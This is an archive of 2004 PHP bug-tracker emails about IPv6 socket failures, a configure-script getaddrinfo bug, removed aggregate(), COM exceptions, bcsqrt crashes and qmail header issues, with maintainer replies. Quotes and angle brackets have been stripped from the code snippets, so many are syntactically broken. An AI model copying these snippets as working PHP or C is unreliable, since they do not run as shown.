When calling mysql_connect(), running Windows 2003 Server + IIS6 + PHP5
+ MYSQL5, the function is not found.

Reproduce code:
---
Calling :
? $connector = mysql_connect(localhost); ?

Returns :
Fatal error: Call to undefined function mysql_connect()

Expected result:

$connector should become an mysql-connection instance and not return
any errors.






-- 
Edit this bug report at http://bugs.php.net/?id=30099edit=1


#30057 [Opn-Fbk]: IPv6 support broken

2004-09-11 Thread pollita
 ID:   30057
 Updated by:   [EMAIL PROTECTED]
 Reported By:  neon at neon-line dot net
-Status:   Open
+Status:   Feedback
 Bug Type: Sockets related
 Operating System: FreeBSD 4.10
 PHP Version:  5.0.1
 New Comment:

grep HAVE_GETADDRINFO main/php_config.h



Previous Comments:


[2004-09-11 11:50:50] neon at neon-line dot net

Configure command used:
./configure --disable-all  --enable-ipv6 \ --with-apxs2=/path/to/apxs2

grep IPv6 config.log
configure:16103: checking for IPv6 support
configure:17764: checking whether to enable IPv6 support
phpinfo:
IPv6 Support = enabled

I don't see much more that I could have done in order to enable the
IPv6 support.

Maybe the --disable-all statement causes this problem?



[2004-09-11 11:37:04] [EMAIL PROTECTED]

Check your configure output and config.log for stuff related to IPv6;
it looks like PHP isn't actually using IPv6 at all.
(gethostbyname is IPv4; PHP would use getaddrinfo for IPv6)



[2004-09-11 11:16:52] neon at neon-line dot net

Warning: fsockopen(): unable to connect to tcp://::1:80 (Operation
timed out) in /dev/php5-v6/test.php on line 2
Warning: fsockopen(): php_network_getaddresses: gethostbyname failed in
/dev/php5-v6/test.php on line 3
Warning: fsockopen(): unable to connect to tcp://[::1]:80 (Unknown
error) in /dev/php5-v6/test.php on line 3
Warning: stream_socket_client(): php_network_getaddresses:
gethostbyname failed in /dev/php5-v6/test.php on line 4
Warning: stream_socket_client(): unable to connect to tcp://[::1]:80
(Unknown error) in /dev/php5-v6/test.php on line 4

To cut the above in short: no, none of those work.



[2004-09-10 23:56:41] [EMAIL PROTECTED]

Do any of these work?

fsockopen('tcp://::1', 80);
fsockopen('tcp://[::1]', 80);
stream_socket_client('tcp://[::1]:80');



[2004-09-10 22:18:48] neon at neon-line dot net

Description:

Unable to connect to IPv6 addresses or hostnames pointing to an IPv6
address, even though IPv6 is properly configured.
PHP has been configured with --enable-ipv6 option and phpinfo shows
that it is indeed enabled.

I checked with telnet utility that these hosts respond and with that
they did.

Reproduce code:
---
fsockopen([::1],80);
echo --\n;
fsockopen([fe80:1:1::1],80);
echo --\n;
fsockopen(fe80:1:1::1,80);
echo --\n;
fsockopen(ipv6.host.name,80);

Expected result:

--
--
--

Actual result:
--
Warning: fsockopen(): php_network_getaddresses: gethostbyname failed
Warning: fsockopen(): unable to connect to [::1]:80 (Unknown error)
--
Warning: fsockopen(): php_network_getaddresses: gethostbyname failed
Warning: fsockopen(): unable to connect to [fe80:1:1::1]:80 (Unknown
error)
--
Warning: fsockopen(): unable to connect to fe80:1:1::1:80 (Operation
timed out)
--
Warning: fsockopen(): php_network_getaddresses: gethostbyname failed
Warning: fsockopen(): unable to connect to ipv6.host.name:80 (Unknown
error)





-- 
Edit this bug report at http://bugs.php.net/?id=30057edit=1


#30057 [Opn-Fbk]: IPv6 support broken

2004-09-11 Thread pollita
 ID:   30057
 Updated by:   [EMAIL PROTECTED]
 Reported By:  neon at neon-line dot net
-Status:   Open
+Status:   Feedback
 Bug Type: Sockets related
 Operating System: FreeBSD 4.10
 PHP Version:  5.0.1
 New Comment:

Scratch that, it'll definately show undefined, the question is why. 
Can you just post your config.log file somewhere?  Or email it to me?


Previous Comments:


[2004-09-11 18:45:29] neon at neon-line dot net

It was:
/* #undef HAVE_GETADDRINFO */

After I added
#define HAVE_GETADDRINFO 1
and removed 
#define HAVE_GETHOSTBYNAME2 1

Everything worked just fine with those modifications, so after all it
is a bug in the configure script.



[2004-09-11 18:35:52] [EMAIL PROTECTED]

grep HAVE_GETADDRINFO main/php_config.h




[2004-09-11 11:50:50] neon at neon-line dot net

Configure command used:
./configure --disable-all  --enable-ipv6 \ --with-apxs2=/path/to/apxs2

grep IPv6 config.log
configure:16103: checking for IPv6 support
configure:17764: checking whether to enable IPv6 support
phpinfo:
IPv6 Support = enabled

I don't see much more that I could have done in order to enable the
IPv6 support.

Maybe the --disable-all statement causes this problem?



[2004-09-11 11:37:04] [EMAIL PROTECTED]

Check your configure output and config.log for stuff related to IPv6;
it looks like PHP isn't actually using IPv6 at all.
(gethostbyname is IPv4; PHP would use getaddrinfo for IPv6)



[2004-09-11 11:16:52] neon at neon-line dot net

Warning: fsockopen(): unable to connect to tcp://::1:80 (Operation
timed out) in /dev/php5-v6/test.php on line 2
Warning: fsockopen(): php_network_getaddresses: gethostbyname failed in
/dev/php5-v6/test.php on line 3
Warning: fsockopen(): unable to connect to tcp://[::1]:80 (Unknown
error) in /dev/php5-v6/test.php on line 3
Warning: stream_socket_client(): php_network_getaddresses:
gethostbyname failed in /dev/php5-v6/test.php on line 4
Warning: stream_socket_client(): unable to connect to tcp://[::1]:80
(Unknown error) in /dev/php5-v6/test.php on line 4

To cut the above in short: no, none of those work.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/30057

-- 
Edit this bug report at http://bugs.php.net/?id=30057edit=1


#30057 [Fbk]: IPv6 support broken

2004-09-11 Thread pollita
 ID:   30057
 Updated by:   [EMAIL PROTECTED]
 Reported By:  neon at neon-line dot net
 Status:   Feedback
 Bug Type: Sockets related
 Operating System: FreeBSD 4.10
 PHP Version:  5.0.1
 New Comment:

I recall the bug that prompted the extended check for ai_family and
sa_family (though not the bug# off hand).  It was also in BSD (I want
to say it was also FreeBSD4).

Enabling getaddrinfo when this behavior was present caused intermittent
segfaults in the reporters build, I'll track down that original bug
report, it had some detailed comments.


Previous Comments:


[2004-09-12 01:29:59] [EMAIL PROTECTED]

Please try manually compiling this (slightly altered code from
configure.in), running it, and pasting the output here in this bug
report; thanks!

1/ Copy the code into v6test.c
2/ cc -o v6test v6test.c
3/ ./v6test

#include netdb.h
#include sys/types.h
int main(void) {
  struct addrinfo *ai, *pai, hints;

  memset(hints, 0, sizeof(hints));
  hints.ai_flags = AI_NUMERICHOST;

  if (getaddrinfo(127.0.0.1, NULL, hints, ai)  0) {
printf(FAIL-1\n);
exit(1);
  }

  if (ai == NULL) {
printf(FAIL-2\n);
exit(1);
  }

  pai = ai;

  while (pai) {
if (pai-ai_family != AF_INET) {
  /* 127.0.0.1/NUMERICHOST should only resolve ONE way */
  printf(FAIL-3\n);
  exit(1);
}
if (pai-ai_addr-sa_family != AF_INET) {
  /* 127.0.0.1/NUMERICHOST should only resolve ONE way */
  printf(FAIL-4\n);
  exit(1);
}
pai = pai-ai_next;
  }
  freeaddrinfo(ai);
  printf(OK!\n);
  exit(0);
}




[2004-09-11 19:05:49] neon at neon-line dot net

http://www.neon-line.net/dev/config.log
There's not much information about this issue, at least I couldn't
find. And the code in configure.in that checks for getaddrinfo seems
more or less like glue, but there's propably a reason for it to be that
way :)



[2004-09-11 18:45:42] [EMAIL PROTECTED]

Scratch that, it'll definately show undefined, the question is why. 
Can you just post your config.log file somewhere?  Or email it to me?



[2004-09-11 18:45:29] neon at neon-line dot net

It was:
/* #undef HAVE_GETADDRINFO */

After I added
#define HAVE_GETADDRINFO 1
and removed 
#define HAVE_GETHOSTBYNAME2 1

Everything worked just fine with those modifications, so after all it
is a bug in the configure script.



[2004-09-11 18:35:52] [EMAIL PROTECTED]

grep HAVE_GETADDRINFO main/php_config.h




The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/30057

-- 
Edit this bug report at http://bugs.php.net/?id=30057edit=1


#30057 [Opn-Fbk]: IPv6 support broken

2004-09-10 Thread pollita
 ID:   30057
 Updated by:   [EMAIL PROTECTED]
 Reported By:  neon at neon-line dot net
-Status:   Open
+Status:   Feedback
 Bug Type: Sockets related
 Operating System: FreeBSD 4.10
 PHP Version:  5.0.1
 New Comment:

Do any of these work?

fsockopen('tcp://::1', 80);
fsockopen('tcp://[::1]', 80);
stream_socket_client('tcp://[::1]:80');


Previous Comments:


[2004-09-10 22:18:48] neon at neon-line dot net

Description:

Unable to connect to IPv6 addresses or hostnames pointing to an IPv6
address, even though IPv6 is properly configured.
PHP has been configured with --enable-ipv6 option and phpinfo shows
that it is indeed enabled.

I checked with telnet utility that these hosts respond and with that
they did.

Reproduce code:
---
fsockopen([::1],80);
echo --\n;
fsockopen([fe80:1:1::1],80);
echo --\n;
fsockopen(fe80:1:1::1,80);
echo --\n;
fsockopen(ipv6.host.name,80);

Expected result:

--
--
--

Actual result:
--
Warning: fsockopen(): php_network_getaddresses: gethostbyname failed
Warning: fsockopen(): unable to connect to [::1]:80 (Unknown error)
--
Warning: fsockopen(): php_network_getaddresses: gethostbyname failed
Warning: fsockopen(): unable to connect to [fe80:1:1::1]:80 (Unknown
error)
--
Warning: fsockopen(): unable to connect to fe80:1:1::1:80 (Operation
timed out)
--
Warning: fsockopen(): php_network_getaddresses: gethostbyname failed
Warning: fsockopen(): unable to connect to ipv6.host.name:80 (Unknown
error)





-- 
Edit this bug report at http://bugs.php.net/?id=30057edit=1


#30058 [Opn-Fbk]: ftp_put silently fails

2004-09-10 Thread pollita
 ID:   30058
 Updated by:   [EMAIL PROTECTED]
 Reported By:  l_faillie at yahoo dot com
-Status:   Open
+Status:   Feedback
 Bug Type: Scripting Engine problem
 Operating System: Solaris 8
 PHP Version:  4.3.8
 New Comment:

Does setting the connection to passive mode help?

ftp_pasv($ftp_connection, true);



Previous Comments:


[2004-09-10 22:46:55] l_faillie at yahoo dot com

Description:

Hi all,

I'm working on a script to update a web site using ftp_* functions
using CLI version of PHP.

Unfortunatly, it doesn't work because all calls to ftp_put() fail w/o
anything displayed. There is also some ftp_chdir() and ftp_pwd() in my
script and they work correctly : the problem is only w/ ftp_put().

I have added some puts() inside php's code, made some checks and I
think the problem comes from the scripting engine as
PHP_FUNCTION(ftp_fput) of ext/ftp/php_ftp.c  is never called.

I think also it's related to my own compilation environment under
Solaris 8 because I build PHP on my HP-UX 10.20 workstation at work and
I don't have this bug.

Questions :
- does someone know if there is issue w/ Solaris 8 or 1 year old GNU
tool ?

- where can I put breakpoint using gdb to know what's append just
before ftp_put is called ?

Thanks for your help.

Laurent







-- 
Edit this bug report at http://bugs.php.net/?id=30058edit=1


#28052 [Bgs]: php5 undefined function aggregate()

2004-09-10 Thread pollita
 ID:   28052
 Updated by:   [EMAIL PROTECTED]
 Reported By:  daemorhedron at siliconjesters dot com
 Status:   Bogus
 Bug Type: Class/Object related
 Operating System: mdk 9.2 and win xp
 PHP Version:  5.0.0RC1
 New Comment:

One method would be to use class overloading via the __call method to
dispatch certain methods to other classes via a static call (the value
of $this will propagate into the target class).

class one {
  function foo() {
echo Foo;
  }

  function __call($fname) {
switch ($fname) { 
  case 'bar':
two::bar();
break;
  default:
trigger_error(Unknown method one::$fname(), E_USER_ERROR);
break;
}
  }
}

class two {
  function bar() {
echo bar;
  }
}


Which, of course, can be massaged to make it a bit prettier/cleaner,
but that's the concept.

You might try taking a look at http://pecl.php.net/classkit but bearing
in mind that this extension is still experimental.

The function you'd be most interrested in is classkit_import()
(documentation not built yet, but you can read the doc sources at:
http://cvs.php.net/co.php/phpdoc/en/reference/classkit/functions/classkit-import.xml
)



Previous Comments:


[2004-09-10 22:11:40] MichaelGlazer at quickenloans dot com

It is due to this that we will not be able to migrate to PHP5.

We require multiple inheritance that the aggregate function provided.



[2004-07-20 07:37:50] progrium at gmail dot com

Yes, I'm also curious as to what the best alternative is for
aggregation. What are these other mechanisms?



[2004-07-14 14:12:51] php at soapi dot com

In that case, what are we supposed to use? What do Zend recommend as
the best alternative to aggregate? I use aggregate extensively in my
code, and I was suprised that it is not part of PHP5. This does not
seem to have been mentioned in the documentation - rather, it seems to
imply that aggregate functions were added for forwarf-compatibility
with PHP5.

So please, enlighten us, what do you recommend we do instead?



[2004-07-14 14:10:59] php at soapi dot com

In that case, what are we supposed to use? What do Zend recommend as
the best alternative to aggregate? I use aggregate extensively in my
code, and I was suprised that it is not part of PHP5. This does not
seem to have been mentioned in the documentation - rather, it seems to
imply that aggregate functions were added for forwarf-compatibility
with PHP5.

So please, enlighten us, what do you recommend we do instead?



[2004-04-19 09:12:20] [EMAIL PROTECTED]

PHP 5 no longer supports object aggregation, there are plenty of other
mechanisms to use.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/28052

-- 
Edit this bug report at http://bugs.php.net/?id=28052edit=1


#30060 [Opn-Bgs]: Fatal Error is reported when calling winmgmt COM object

2004-09-10 Thread pollita
 ID:   30060
 Updated by:   [EMAIL PROTECTED]
 Reported By:  Michael dot Rivera at Ceridian dot com
-Status:   Open
+Status:   Bogus
 Bug Type: COM related
 Operating System: Windows 2000
 PHP Version:  5.0.1
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.

winmgmts://./root/cimv2 is not a valid com object name so COM couldn't
instantiate it, therefore it threw an exception.

You didn't catch the exception and all uncaught exceptions are fatal.


Previous Comments:


[2004-09-10 23:49:23] Michael dot Rivera at Ceridian dot com

Description:

When trying to call the com object winmgmt I get the following error.

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
create COM object `winmgmts://./root/cimv2': ' in
C:\Inetpub\wwwroot\sqladministrator\wmitest.php:4 Stack trace: #0
{main} thrown in C:\Inetpub\wwwroot\sqladministrator\wmitest.php on
line 4


Reproduce code:
---
?php
$hostname = .;
//com_print_typeinfo (winmgmts://./root/cimv2);
$wmi = new COM(winmgmts://./root/cimv2);


  $names = $wmi-ExecQuery(Select Name, Manufacturer, Model,
NumberOfProcessors, TotalPhysicalMemory 
  from Win32_ComputerSystem);
  foreach ($names as $system)
  {
   echo trim($system-Name).'brManufacturer:
'.($system-Manufacturer).
'br Model: '.($system-Model).'br Number of
Processors:'.($system-NumberOfProcessors).
'br Physical Memory: '.(($system-TotalPhysicalMemory/1024)/1024).'
Mg';
  }
?

Expected result:

The manufacturer, the number of procesors and amount of physical memory
on the server that this is run on.

Actual result:
--
Fatal error: Uncaught exception 'com_exception' with message 'Failed to
create COM object `winmgmts://./root/cimv2': ' in
C:\Inetpub\wwwroot\sqladministrator\wmitest.php:4 Stack trace: #0
{main} thrown in C:\Inetpub\wwwroot\sqladministrator\wmitest.php on
line 4






-- 
Edit this bug report at http://bugs.php.net/?id=30060edit=1


#30001 [Opn-Bgs]: problem in //

2004-09-06 Thread pollita
 ID:   30001
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mydwin at msn dot com
-Status:   Open
+Status:   Bogus
 Bug Type: Scripting Engine problem
 Operating System: Windows 2003 enterprise
 PHP Version:  5.0.1
 New Comment:

Because that's intended behavior.

http://www.php.net/manual/en/language.basic-syntax.comments.php


Previous Comments:


[2004-09-06 18:04:19] mydwin at msn dot com

Description:

I try this code

it seem that ? works in // line
why ?

after this.
I try the same code but using /*  */ instead //
it works find and get the right result.

Reproduce code:
---
xmp?php

$str = 'gogohrccbrtest';
// $str = '/(.*?)(\/?.*?


echo $str;
?

Expected result:

gogohrccbrtest


Actual result:
--
echo $str;
?






-- 
Edit this bug report at http://bugs.php.net/?id=30001edit=1


#29934 [Opn-Bgs]: fsockopen() does not support SSL/TLS with shares OpenSSL extension

2004-09-01 Thread pollita
 ID:   29934
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mranner at jawa dot at
-Status:   Open
+Status:   Bogus
 Bug Type: OpenSSL related
 Operating System: FreeBSD 4.10
 PHP Version:  4.3.8
 New Comment:

Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same. 

Thank you for your interest in PHP.

It's known, it's been reported (many times) and can't be fixed within
the framework of PHP4.  PHP5 however abstracts transports out in a way
that makes it all work whether OpenSSL is compiled as a shared module
or staticly.

For PHP4, your only option is to compile the module staticly.  To bodge
dynamic registration of ssl:// and tls:// transports into PHP4 would
represent a major code change which will not happen within a point
release.


Previous Comments:


[2004-09-01 19:59:29] mranner at jawa dot at

Description:

fsockopen() does not support SSL/TLS with shared OpenSSL extension. PHP
4.3.8 build from FreeBSD Ports with shared extenstions. Extension is
loaded according phpinfo(). Squirrelmail and other applications cannot
use fsockopen() with tls. I need to compile PHP4 with the static
OpenSSL extension.



Reproduce code:
---
$imap_server_address = 'tls://cyrus';
$imap_port = 993;

$imap_stream = fsockopen ( $imap_server_address, $imap_port,
$error_number, $error_string, 15);

Expected result:

A successful TLS connection.

Actual result:
--
Warning: fsockopen(): no SSL support in this build





-- 
Edit this bug report at http://bugs.php.net/?id=29934edit=1


#29847 [Csd-Bgs]: bcsqrt crashes - problem reproducable

2004-08-27 Thread pollita
 ID:   29847
 Updated by:   [EMAIL PROTECTED]
 Reported By:  aliendesaster at hotmail dot com
-Status:   Closed
+Status:   Bogus
 Bug Type: BC math related
 Operating System: WinXP
 PHP Version:  5.0.1
 New Comment:

Yes, but since this was actually a duplicate of a bug that was already
fixed (which is why the snapsshot works for you) it should actually be
marked 'Bogus'.  Nothing personal about you or the bug, just part of
the statistical analysis.


Previous Comments:


[2004-08-27 16:07:00] aliendesaster at hotmail dot com

well, I can close myself, do I? Let´s check...



[2004-08-27 16:06:16] aliendesaster at hotmail dot com

True, since I only got 56k I usually don´t update that often but the
latest CVS snapshot works. Might be closed then. Thanks for your help
:)



[2004-08-27 00:54:39] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.0-win32-latest.zip

Seems to work fine with latest CVS, the result is  
6.70820393249936908922752100619382 for all 3 sample codes. 



[2004-08-26 12:52:11] aliendesaster at hotmail dot com

Description:

It´s simple: bcsqrt doesn´t work at all, it´s always causing a crash
unlike sqrt, which works! I dunno if bcsqrt working in other php
version.

I´m installed the php 5.01 win-binary version (zip) from php.net.

Reproduce code:
---
?PHP
bcscale(32);
echo bcsqrt('45.0');  //causes crash
?

or

?PHP
bcscale(32);
echo bcsqrt(45.0);//causes crash too
?

or

?PHP
bcscale(32);
echo bcsqrt(45);//always crashing, yeah
?

Expected result:

result should be similar to what sqrt(45) returns.

Actual result:
--
A nice reproducable crash in apache:
AppName: apache.exe  AppVer: 2.0.47.0ModName: php5ts.dll
ModVer: 5.0.0.0  Offset: 0008238f





-- 
Edit this bug report at http://bugs.php.net/?id=29847edit=1


#29848 [Opn-Bgs]: Non-existent keys evaluate to string

2004-08-27 Thread pollita
 ID:   29848
 Updated by:   [EMAIL PROTECTED]
 Reported By:  geoff at variosoft dot com
-Status:   Open
+Status:   Bogus
 Bug Type: Arrays related
 Operating System: Linux
 PHP Version:  4.3.8
 New Comment:

This is expected behavior.

Given:
$foo['bar']['baz'] = 'whatever';

Then the follow reference:
$foo['bar']['baz']['bomb']

evaluates as:
$tempvar['bomb']
(with $tempvar representing the string stored in $foo['bar']['baz'])

When accessing a string using [] or {} operators, the portion inside
the operators is automatically converted to an integer.  The integer
value of any string which does not begin with a numeric portion is
always 0.  Hence you have:
$tempvar[0]

Which represents the first character of the variable.

To change this behavior would represent a major BC break.

To handle this type of situation in userspace, just add an extra
check:

if (is_array($foo['bar']['baz'])  isset($foo['bar']['baz']['bomb']))
{ ... }


Previous Comments:


[2004-08-26 14:55:16] geoff at variosoft dot com

Description:

In a multi-dimensional assoc array with a depth of x, an unset key at
depth x+1 evaluates unexpectedly to a string when using var_dump() -
the 1st char of the array value. 

This means that isset() returns TRUE when testing for the unset key,
which makes it hard to test for non-existence.

An unset key with a depth of x+2 works as expected. 

This behaviour has been replicated in 4.3.8 and the 5 previous
versions, all on Linux.

Reproduce code:
---
$foo['one']['two'] = 'test-value' ;

if( isset( $foo['one']['two']['three'] ) )
{
print( Unexpected isset(): evaluated to TRUEbr ) ;
}
else
{
print( Expected isset(): evaluated to FALSEbr ) ;
}

print( 'var_dump() output (expecting NULL):br' ) ;
var_dump( $foo['one']['two']['three'] ) ;

Expected result:

As I am testing for an unset key, I expected isset() to return FALSE,
and var_dump() to return NULL.

Actual result:
--
In fact, isset() returns TRUE.

var_dump() gives a clue as to what is going on: it returns the first
character of the key's value string.

For unset keys of a depth of x + 2, isset() returns FALSE and
var_dump() returns NULL, as expected.





-- 
Edit this bug report at http://bugs.php.net/?id=29848edit=1


#29777 [Opn-Csd]: C++ comments in C code

2004-08-20 Thread pollita
 ID:   29777
 Updated by:   [EMAIL PROTECTED]
 Reported By:  akrosung at gmail dot com
-Status:   Open
+Status:   Closed
 Bug Type: Compile Failure
 Operating System: Solaris 9
 PHP Version:  5.0.1
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2004-08-21 00:38:39] akrosung at gmail dot com

Description:

Line 1103 in Installation directory
$NSTALL_ROOT/php-5.0.1/Zend/zend_compile.c

lcname[sizeof(lcname)-1] = '\0'; // zend_str_tolower_copy won't
necessarily set the zero byte/

Comment is in C++ format and crashes the make

Replaced the comment with /* .. */ enclosing it and it compiles fine.


Reproduce code:
---
Use Solaris 9 with apache 1.3.31  
Sun Forte 6 compilers

# ./configure
# make


Expected result:

...
Build complete.
(It is safe to ignore warnings about tempnam and tmpnam).



Actual result:
--
...
/opt/SUNWspro/bin/cc  -IZend/
-I/home/akrosung/INSTALL/newweb/php-5.0.1/Zend/ -DPHP_ATOM_INC
-I/home/akrosung/INSTALL/newweb/php-5.0.1/include
-I/home/akrosung/INSTALL/newweb/php-5.0.1/main
-I/home/akrosung/INSTALL/newweb/php-5.0.1
-I/home/akrosung/INSTALL/newweb/php-5.0.1/Zend
-I/usr/local/include/libxml2 -I/usr/local/include
-I/usr/local/imap-2001a//include -I/usr/netscape/include
-I/usr/local/mysql/include  -D_POSIX_PTHREAD_SEMANTICS
-I/home/akrosung/INSTALL/newweb/php-5.0.1/TSRM  -g  -c
/home/akrosung/INSTALL/newweb/php-5.0.1/Zend/zend_compile.c -o
Zend/zend_compile.o   echo  Zend/zend_compile.lo
/home/akrosung/INSTALL/newweb/php-5.0.1/Zend/zend_compile.c, line
1103: syntax error before or at: /
/home/akrosung/INSTALL/newweb/php-5.0.1/Zend/zend_compile.c, line
1103: newline in character constant
/home/akrosung/INSTALL/newweb/php-5.0.1/Zend/zend_compile.c, line
1103: warning: character constant too long
/home/akrosung/INSTALL/newweb/php-5.0.1/Zend/zend_compile.c, line
1108: cannot recover from previous errors
cc: acomp failed for
/home/akrosung/INSTALL/newweb/php-5.0.1/Zend/zend_compile.c
*** Error code 2
make: Fatal error: Command failed for target `Zend/zend_compile.lo'





-- 
Edit this bug report at http://bugs.php.net/?id=29777edit=1


#29765 [Opn-Bgs]: Include config.php failure

2004-08-19 Thread pollita
 ID:   29765
 Updated by:   [EMAIL PROTECTED]
 Reported By:  z dot jiang1 at csuohio dot edu
-Status:   Open
+Status:   Bogus
 Bug Type: *Compile Issues
 Operating System: Windows XP -Home Edition
 PHP Version:  5.0.1
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.

If doing nothing more than changing the file name fixes the issue, then
I'd wager you've got another config.php file elsewhere in your
include_path (with a higher precedence) and THAT file is being included
instead.



Previous Comments:


[2004-08-19 21:46:01] z dot jiang1 at csuohio dot edu

Description:

well, I am trying to define constants in a file called config.php then
I wanna use it in a file called debug.php. 
I defined a variable like 
$test=test. 
then call this variable by 
echo $test; 
in debug.php.
it never works..
but if I rename the config.php to other names likeconfig1.php, it
works. 

I dont know why that happens? it's reserved file name or something?

Thanks.

Reproduce code:
---
file: debug.php
?php
include config.php;
echo $test;


?

file: config.php

$test=test;


?


Expected result:

i am expecting to see 

test

Actual result:
--
I see nothing.





-- 
Edit this bug report at http://bugs.php.net/?id=29765edit=1


#29746 [Opn-Bgs]: Add a $_SERVER[CURRENT_SCRIPT_NAME] variable.

2004-08-18 Thread pollita
 ID:   29746
 Updated by:   [EMAIL PROTECTED]
 Reported By:  gazman at email dot si
-Status:   Open
+Status:   Bogus
 Bug Type: Feature/Change Request
 Operating System: whatever
 PHP Version:  Irrelevant
 New Comment:

http://www.php.net/manual/en/language.constants.predefined.php

__FILE__




Previous Comments:


[2004-08-19 01:06:24] gazman at email dot si

Description:

Please add a $_SERVER[CURRENT_SCRIPT_NAME] variable. It should
contain the name of the current EXECUTING script.

It should be used to tell the code the filename it is in. It would be
used in conjunction with include() and require() functions, as the
$_SERVER[SCRIPT_NAME] holds the value of the parent script and not
the child script.

It should be fairly easy to do... PHP must know it to parse the file
and i believe you could as well make that availible as a variable from
code. (a read-only variable (constant?) that points to the name of the
currently parsed file)






-- 
Edit this bug report at http://bugs.php.net/?id=29746edit=1


#29646 [Bgs]: mail() inserts change CRLF (\r\n) to CRCRLF (\r\r\n) for some extra headers

2004-08-18 Thread pollita
 ID:   29646
 Updated by:   [EMAIL PROTECTED]
 Reported By:  shelby at coolpage dot com
 Status:   Bogus
 Bug Type: Mail related
 Operating System: FreeBSD
 PHP Version:  4.3.4
 New Comment:

It's a qmail bug.  That MTA attempts to automagically guess newlines
and does a bad job of it.


Previous Comments:


[2004-08-18 23:11:35] [EMAIL PROTECTED]

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.

Until can be verified with latest PHP version, considered 
bogus. 



[2004-08-18 19:44:51] shelby at coolpage dot com

No I will not do your work for you!

Your general assumption that it was fixed without specific knowledge it
was fixed is not enough to make me go through the hassle.  In short I
doubt your assertion it is fixed, because:

1. You have not provided specific knowledge that it was fixed.  It
seems you are just hoping it was, and want me to go through hassle to
prove it.  You prove it.  It is not my bug.  It is YOUR bug.

2. You closed this other similar bug report in Feb. 2003:

http://bugs.php.net/bug.php?id=22262

But I am using a version from Nov. 2003:

[EMAIL PROTECTED] php -v
PHP 4.3.4 (cli) (built: Nov  4 2003 16:10:03)
Copyright (c) 1997-2003 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2003 Zend Technologies

And this bug has been around since at least 2002 and has been ignored. 
No related bug report has been marked as fixed.  They were both closed
because the people who made the bug reports are not going to test it
for you:

http://bugs.php.net/bug.php?id=22262

http://bugs.php.net/bug.php?id=15841

You method of closing bug reports because reporters are not willing to
retest every time you decide to put a new version # on PHP is
ridiculous.

Have it your way...fix it or do not fix it... closing this bug report
does not mean it is fixed.



[2004-08-17 08:11:30] [EMAIL PROTECTED]

You're using a very old PHP version (4.3.4), I am very sure it was
fixed since. So try that snapshot.



[2004-08-17 00:58:42] shelby at coolpage dot com

Also telling us to try the latest snapshot is useless unless you tell
us what is the correct use of the mail() function on Qmail.

Please see my original post and please answer the question as to what
is the correct documented use.

In the meantime, I have provided a documented use in my comments on
this bug which works and which I am suggesting that others link to, as
a replacement for the document for PHP mail().  Hopefully that will
generate enough pressure to finally fix this bug and also help people
work around it in meantime!

Correction: in previous post for work around, I said if another header
follows.  I believe I insert the \r\n and \n, even after the last
header input to mail().



[2004-08-17 00:52:38] shelby at coolpage dot com

Thanks, but has the latest snapshot been specifically edited to fix
this specific problem?

Because this problem as been around for years, and so only a specific
fix is worth my time.

Also I have no way to test the latest snapshot until my host Pair.com
upgrades.

I alerted Pair.com to this problem.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/29646

-- 
Edit this bug report at http://bugs.php.net/?id=29646edit=1


#29628 [Opn-Bgs]: copy(http://url/pic.gif): failed to open stream: Bad file descriptor

2004-08-15 Thread pollita
 ID:   29628
 Updated by:   [EMAIL PROTECTED]
 Reported By:  qkman at 21cn dot com
-Status:   Open
+Status:   Bogus
 Bug Type: Unknown/Other Function
 Operating System: win2003 IIS6
 PHP Version:  5.0.0
 New Comment:

Then it's not a PHP bug.


Previous Comments:


[2004-08-16 04:32:27] qkman at 21cn dot com

I know what happen now !!!

the firewall(Norton Internet Security) error to block the php-cgi.exe
connect URL !!!

disable the firewall now !!!



[2004-08-16 04:32:20] qkman at 21cn dot com

I know what happen now !!!

the firewall(Norton Internet Security) error to block the php-cgi.exe
connect URL !!!

disable the firewall now !!!



[2004-08-16 04:32:17] qkman at 21cn dot com

I know what happen now !!!

the firewall(Norton Internet Security) error to block the php-cgi.exe
connect URL !!!

disable the firewall now !!!



[2004-08-14 18:53:36] [EMAIL PROTECTED]

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.





[2004-08-14 17:33:36] qkman at 21cn dot com

Please tell me why ???!!! thank !



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/29628

-- 
Edit this bug report at http://bugs.php.net/?id=29628edit=1


#29659 [Opn-Bgs]: problem reload apache

2004-08-13 Thread pollita
 ID:   29659
 Updated by:   [EMAIL PROTECTED]
 Reported By:  boern1980 at yahoo dot es
-Status:   Open
+Status:   Bogus
 Bug Type: *Web Server problem
 Operating System: suse linux 8.2
 PHP Version:  Irrelevant
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.

.


Previous Comments:


